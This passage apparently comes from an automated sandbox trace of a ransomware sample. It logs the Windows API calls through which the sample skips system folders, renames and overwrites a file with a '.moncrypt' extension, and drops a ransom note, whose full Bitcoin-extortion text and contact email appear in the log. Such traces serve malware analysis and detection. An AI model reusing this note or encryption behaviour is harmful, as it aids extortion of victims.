Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.298] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.298] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a638, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.298] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.298] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.298] GlobalUnlock (hMem=0x44000c) returned 0 [0054.298] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.298] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.298] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.298] GlobalUnlock (hMem=0x44000c) returned 0 [0054.298] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.298] GlobalUnlock (hMem=0x440004) returned 0 [0054.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a5c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\studio\\") returned 0x3f [0054.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.300] GlobalLock (hMem=0x440004) returned 0x550170 [0054.300] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.300] GlobalUnlock (hMem=0x440004) returned 0 [0054.300] GlobalLock (hMem=0x440004) returned 0x550170 [0054.300] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.300] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.300] GlobalUnlock (hMem=0x440004) returned 0 [0054.300] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.300] GlobalUnlock (hMem=0x44000c) returned 0 [0054.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.301] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.301] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.301] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.301] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.301] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.301] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.301] GlobalUnlock (hMem=0x44000c) returned 0 [0054.301] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.301] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.301] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.301] GlobalUnlock (hMem=0x44000c) returned 0 [0054.301] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.301] GlobalUnlock (hMem=0x440004) returned 0 [0054.301] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.301] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0054.302] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.302] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.302] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.302] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.302] GlobalUnlock (hMem=0x440004) returned 0 [0054.302] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.302] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.302] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.302] GlobalUnlock (hMem=0x440004) returned 0 [0054.302] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.302] GlobalUnlock (hMem=0x44000c) returned 0 [0054.302] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.306] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.306] CloseHandle (hObject=0x18c) returned 1 [0054.307] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\я")) returned 1 [0054.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 0x54e240 [0054.308] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.308] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.308] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", dwFileAttributes=0x20) returned 1 [0054.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.moncrypt")) returned 1 [0054.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.310] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.310] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xbfed [0054.310] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.310] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.312] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.312] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.312] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.312] GlobalUnlock (hMem=0x440004) returned 0 [0054.313] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.313] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.313] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.313] GlobalUnlock (hMem=0x440004) returned 0 [0054.313] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.313] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.313] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.313] GlobalUnlock (hMem=0x44000c) returned 0 [0054.313] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.313] GlobalUnlock (hMem=0x440004) returned 0 [0054.313] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.313] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.313] GlobalUnlock (hMem=0x440004) returned 0 [0054.313] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.313] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.313] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.313] GlobalUnlock (hMem=0x440004) returned 0 [0054.313] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.313] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.313] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.313] SetFilePointer (in: hFile=0x18c, lDistanceToMove=49133, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xbfed [0054.313] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.314] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.314] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.325] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.325] CloseHandle (hObject=0x18c) returned 1 [0054.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.326] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.326] CloseHandle (hObject=0x18c) returned 1 [0054.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.327] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.327] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.327] GlobalUnlock (hMem=0x440004) returned 0 [0054.327] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.327] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.327] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.327] GlobalUnlock (hMem=0x440004) returned 0 [0054.327] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.327] GlobalUnlock (hMem=0x44000c) returned 0 [0054.327] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a5d0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.328] GetLastError () returned 0x2 [0054.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.329] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.330] CloseHandle (hObject=0x18c) returned 1 [0054.330] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0054.330] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.330] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.331] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.331] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.331] GlobalUnlock (hMem=0x44000c) returned 0 